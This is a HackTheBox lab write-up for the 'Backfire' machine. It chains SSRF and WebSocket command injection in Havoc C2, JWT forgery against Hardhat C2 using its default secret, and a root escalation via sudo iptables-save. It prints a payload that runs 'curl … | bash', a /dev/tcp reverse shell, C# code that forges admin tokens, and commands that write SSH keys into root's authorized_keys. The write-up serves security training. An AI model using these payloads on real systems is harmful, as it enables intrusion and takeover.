HTB: Backfire Writeup
Backfire - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Backfire |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 28 May 2025 |
| IP Address | 10.10.11.49 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Backfire is a medium-difficulty machine centered around compromising exposed command-and-control (C&C) servers. The attack begins with discovering an exposed Havoc C&C server configuration that leaks operator credentials and listener details. By exploiting a Server-Side Request Forgery (SSRF) vulnerability, the attacker chains it with WebSocket protocol manipulation to gain remote code execution in Havoc’s payload compilation process. After establishing the initial foothold, lateral movement occurs through a second C&C framework (Hardhat) running locally with hardcoded default JWT secrets. Finally, privilege escalation leverages a file write vulnerability in iptables and iptables-save to inject SSH keys into root’s authorized_keys file.
TL;DR: Exposed Havoc C&C → SSRF + WebSocket RCE → Shell as ilya → JWT forging for Hardhat C&C → Lateral move to sergej → iptables arbitrary file write → Root access
Reconnaissance
Port Scanning
# Initial full port scannmap -p- --min-rate=1000 -T4 10.10.11.49
# Detailed enumeration on discovered portsnmap -p22,443,8000 -sC -sV 10.10.11.49Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4443/tcp open ssl/http nginx 1.22.18000/tcp open http nginx 1.22.1Service Enumeration
TCP/443 (HTTPS - nginx):
- Reverse proxy serving SSL/TLS
- Self-signed certificate for 127.0.0.1
- Returns 404 responses
TCP/8000 (HTTP - nginx):
- Directory listing enabled
- Exposes two critical files:
disable_tls.patch: Patches Havoc C&C to use unencrypted WebSockets (ws:// instead of wss://)havoc.yaotl: Havoc configuration file leaking credentials and listener details
Havoc Configuration Contents:
Teamserver { Host = "127.0.0.1" Port = 40056}
Operators { user "ilya" { Password = "CobaltStr1keSuckz!" } user "sergej" { Password = "1w4nt2sw1tch2h4rdh4tc2" }}
Listeners { Http { Name = "Demon Listener" Hosts = ["backfire.htb"] HostBind = "127.0.0.1" PortBind = 8443 PortConn = 8443 Secure = true }}Vulnerability Assessment
- SSRF in Havoc C&C: The teamserver accepts internal HTTP requests through SSRF
- Exposed C&C Configuration: Clear-text credentials and internal port details disclosed
- WebSocket on Unencrypted Channel: TLS disabled for WebSocket protocol (TCP/40056)
- Default JWT Secrets in Hardhat C&C: Hardcoded JWT signing keys in appsettings.json
- Insecure iptables Permissions: User can execute iptables with NOPASSWD sudo privilege, enabling arbitrary file write
Initial Foothold
SSRF to WebSocket Exploitation
The SSRF vulnerability allows the Havoc teamserver to make HTTP requests to arbitrary internal addresses. We exploit this to establish a WebSocket connection to the internal Havoc teamserver (TCP/40056) and inject malicious commands.
Step 1: Verify SSRF with External Listener
# Start a simple HTTP server to verify SSRF connectivitypython3 -m http.server 80# Run the SSRF PoCpython3 exploit.py -t https://backfire.htb/ -i 10.10.14.65 -p 80Expected output confirms HTTP request reaches our listener.
Step 2: Probe Internal Port via SSRF
# Test connectivity to internal Havoc WebSocket portpython3 exploit.py -t https://backfire.htb/ -i 127.0.0.1 -p 40056Response shows port is accessible internally and accepts HTTP requests.
Step 3: Upgrade HTTP to WebSocket via SSRF
Create a modified exploit that sends WebSocket upgrade headers through the SSRF socket:
def send_websocket_handshake(socket_id): """Send WebSocket upgrade handshake to establish WebSocket connection""" payload = b"""GET /havoc/ HTTP/1.1\rHost: 127.0.0.1:40056\rUpgrade: websocket\rConnection: Upgrade\rSec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\rSec-WebSocket-Version: 13\rSec-WebSocket-Protocol: chat, superchat\rOrigin: https://127.0.0.1:40056/\r\r""" write_socket(socket_id, payload) print("[+] WebSocket handshake sent")
def send_websocket_frame(socket_id, data): """Encode and send data as WebSocket frame""" # WebSocket frame structure: FIN + opcode, length indicator, masking key, payload length = len(data).to_bytes(2, 'big') frame = b'\x81\xfe' + length + b'\x00\x00\x00\x00' + data write_socket(socket_id, frame)
# Step 1: Authenticate to Havocauth_payload = b"""{ "Body": { "Info": { "Password": "2e65bab481bc3484332f48c771749afc052adc8383bef70fd0feeb71ce2d657b", "User": "ilya" }, "SubEvent": 3 }, "Head": { "Event": 1, "OneTime": "", "Time": "18:40:17", "User": "ilya" }}"""
send_websocket_frame(socket_id, auth_payload)
# Step 2: Create payload with command injection# Inject reverse shell command into Service Name fieldrce_payload = b"""{ "Body": { "Info": { "AgentType": "Demon", "Arch": "x64", "Config": "{\\n \\"Service Name\\": \\" -mbla; curl 10.10.14.9/test | bash && false #\\",\\n}", "Format": "Windows Service Exe", "Listener": "abc" }, "SubEvent": 2 }, "Head": { "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": "ilya" }}"""
send_websocket_frame(socket_id, rce_payload)Step 4: Deliver Reverse Shell Payload
# Create reverse shell payloadcat > test << 'EOF'#!/bin/bash/bin/sh -i >& /dev/tcp/10.10.14.19/1337 0>&1EOF
# Serve payloadpython3 -m http.server 80# Listen for incoming connectionnc -lnvp 1337Step 5: Verify Shell Access
The Havoc compilation process executes our injected command, which fetches and executes the reverse shell:
$ iduid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio)...
$ whoamiilyaStep 6: Establish Stable SSH Access
# Generate SSH key locallyssh-keygen -t ed25519 -f id_ed25519
# Add public key to authorized_keysecho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPQTmDUg3xi5WrAZQa4f1vsztNm7XONcEsx5SmBk/HAx shashwat@vm" >> ~/.ssh/authorized_keys# SSH into the machine for stable accessssh ilya@backfire.htbStep 7: Retrieve User Flag
ilya@backfire:~$ cat user.txt<redacted>Lateral Movement & Privilege Escalation
Discovering Hardhat C&C
ilya@backfire:~$ cat hardhat.txtSergej said he installed HardHatC2 for testing and not made any changes to the defaultsI hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
# Check for listening servicesilya@backfire:~$ netstat -anot | grep LISTENtcp 0 0 127.0.0.1:7096 0.0.0.0:* LISTENtcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTENHardhat C&C is running on TCP/7096 (localhost only). We need to port forward to access it.
Exploiting Hardhat JWT Authentication
Hardhat C&C uses JWT for authentication with hardcoded secrets in its source code:
# Port forward to access Hardhat locallyssh ilya@backfire.htb -L 7096:127.0.0.1:7096 -N &The hardcoded JWT secret from Hardhat’s appsettings.json:
jwtKey = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"jwtIssuer = "hardhatc2.com"Generate Valid JWT Token (C# Code):
using System;using System.IdentityModel.Tokens.Jwt;using System.Security.Claims;using System.Text;using Microsoft.IdentityModel.Tokens;
class Program{ static void Main(string[] args) { string jwtKey = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"; string jwtIssuer = "hardhatc2.com";
string token = GenerateJwtToken(jwtKey, jwtIssuer); Console.WriteLine("Generated JWT:"); Console.WriteLine(token); }
static string GenerateJwtToken(string key, string issuer) { var securityKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(key)); var credentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256);
var claims = new[] { new Claim(JwtRegisteredClaimNames.Sub, "HardHat_Admin"), new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()), new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", Guid.NewGuid().ToString()), new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", "Administrator") };
var token = new JwtSecurityToken( issuer: issuer, audience: issuer, claims: claims, expires: DateTime.UtcNow.AddHours(999), signingCredentials: credentials);
return new JwtSecurityTokenHandler().WriteToken(token); }}Compile and run to get a valid JWT token with Administrator privileges.
Access Hardhat C&C:
# Navigate to Hardhat C2 web interface (localhost:7096)# Use the generated JWT token in Authorization header: Bearer <token># Access /Settings endpoint to add new Operator userCreate New Operator User:
Once authenticated, use the admin panel to create a new operator account with full privileges. Log in with the new credentials.
SSH Key Injection via Hardhat Terminal
# In Hardhat C2 terminal, execute commands as sergejssh-keygen -t ed25519 -f /tmp/id_ed25519
# Add public key to authorized_keysecho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPQTmDUg3xi5WrAZQa4f1vsztNm7XONcEsx5SmBk/HAx" >> ~/.ssh/authorized_keys
# SSH in as sergejssh sergej@backfire.htbPrivilege Escalation via iptables
sergej@backfire:~$ sudo -lUser sergej may run the following commands on backfire: (root) NOPASSWD: /usr/sbin/iptables (root) NOPASSWD: /usr/sbin/iptables-saveThe iptables-save command has an arbitrary file write vulnerability. We can inject SSH keys into rules with comments, then save them to root’s authorized_keys.
Step 1: Create iptables rule with SSH key in comment
# Add a rule with our SSH public key embedded in the comment fieldsudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPQTmDUg3xi5WrAZQa4f1vsztNm7XONcEsx5SmBk/HAx\n'Step 2: Write iptables rules to authorized_keys
# Save iptables rules to root's authorized_keys filesudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keysThe newline characters prevent the garbage iptables header from interfering with SSH key parsing.
Step 3: SSH as root
ssh root@backfire.htb
# Verify root accessroot@backfire:~# whoamiroot
root@backfire:~# hostnamebackfire
root@backfire:~# cat root.txt<redacted>Attack Chain Summary
Exposed havoc.yaotl → Credentials & Port 40056 Discovered ↓ SSRF Vulnerability in Havoc ↓ WebSocket Protocol Upgrade via SSRF ↓ Authenticate with Leaked Credentials ↓ Inject Commands in Payload Compilation ↓ Remote Code Execution as ilya ↓ Discover Hardhat C&C on TCP/7096 ↓ Forge JWT with Hardcoded Secret ↓ Access Hardhat Admin Panel ↓ Create Operator & Lateral Move to sergej ↓ Discover sudo iptables Permissions ↓ Arbitrary File Write via iptables-save ↓ Inject SSH Key into /root/.ssh/authorized_keys ↓ SSH Access as root → Privilege Escalation CompleteTools Used
| Tool | Purpose |
|---|---|
nmap | Network reconnaissance and port scanning |
curl | Testing SSRF connectivity and downloading payloads |
nc | Netcat listener for reverse shell connections |
ssh | Secure shell access and port forwarding |
iptables | Linux firewall tool (exploitation vector) |
iptables-save | Save firewall rules (arbitrary file write vulnerability) |
python3 | HTTP server and WebSocket payload crafting |
C# / .NET | JWT token generation with hardcoded secrets |
netstat | Service discovery and port enumeration |
Key Learnings
Techniques Practiced
- SSRF Chaining: Converting Server-Side Request Forgery into WebSocket protocol upgrades for RCE
- WebSocket Frame Crafting: Manual encoding of WebSocket frames (FIN bit, opcode, masking, payload)
- C&C Exploitation: Attacking exposed command-and-control server configurations
- JWT Cryptanalysis: Forging tokens using hardcoded secrets extracted from open-source projects
- Arbitrary File Write: Leveraging Linux utility misconfigurations for privilege escalation
- Lateral Movement: Chaining multiple vulnerabilities across different services
Lessons Learned
- Configuration Exposure is Critical: A single exposed configuration file (havoc.yaotl) leaked credentials, ports, and listener details—enabling the entire attack chain
- Protocol Abuse via SSRF: SSRF is more powerful than simple HTTP requests; it can be chained with protocol upgrades (HTTP → WebSocket) to access internal services
- Default Credentials Matter: Both Havoc (clear-text passwords) and Hardhat (hardcoded JWT secrets) relied on defaults that were either exposed or predictable
- Open Source Vulnerabilities: Using open-source C&C frameworks without security review introduces well-known vulnerabilities (like hardcoded JWT keys)
- Sudo Misconfigurations are Dangerous: Allowing
iptableswithout restrictions enables arbitrary file writes—a seemingly innocent firewall tool becomes a privilege escalation vector - Defense in Depth Failure: Each individual vulnerability was exploitable; defense required fixing all of them simultaneously
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>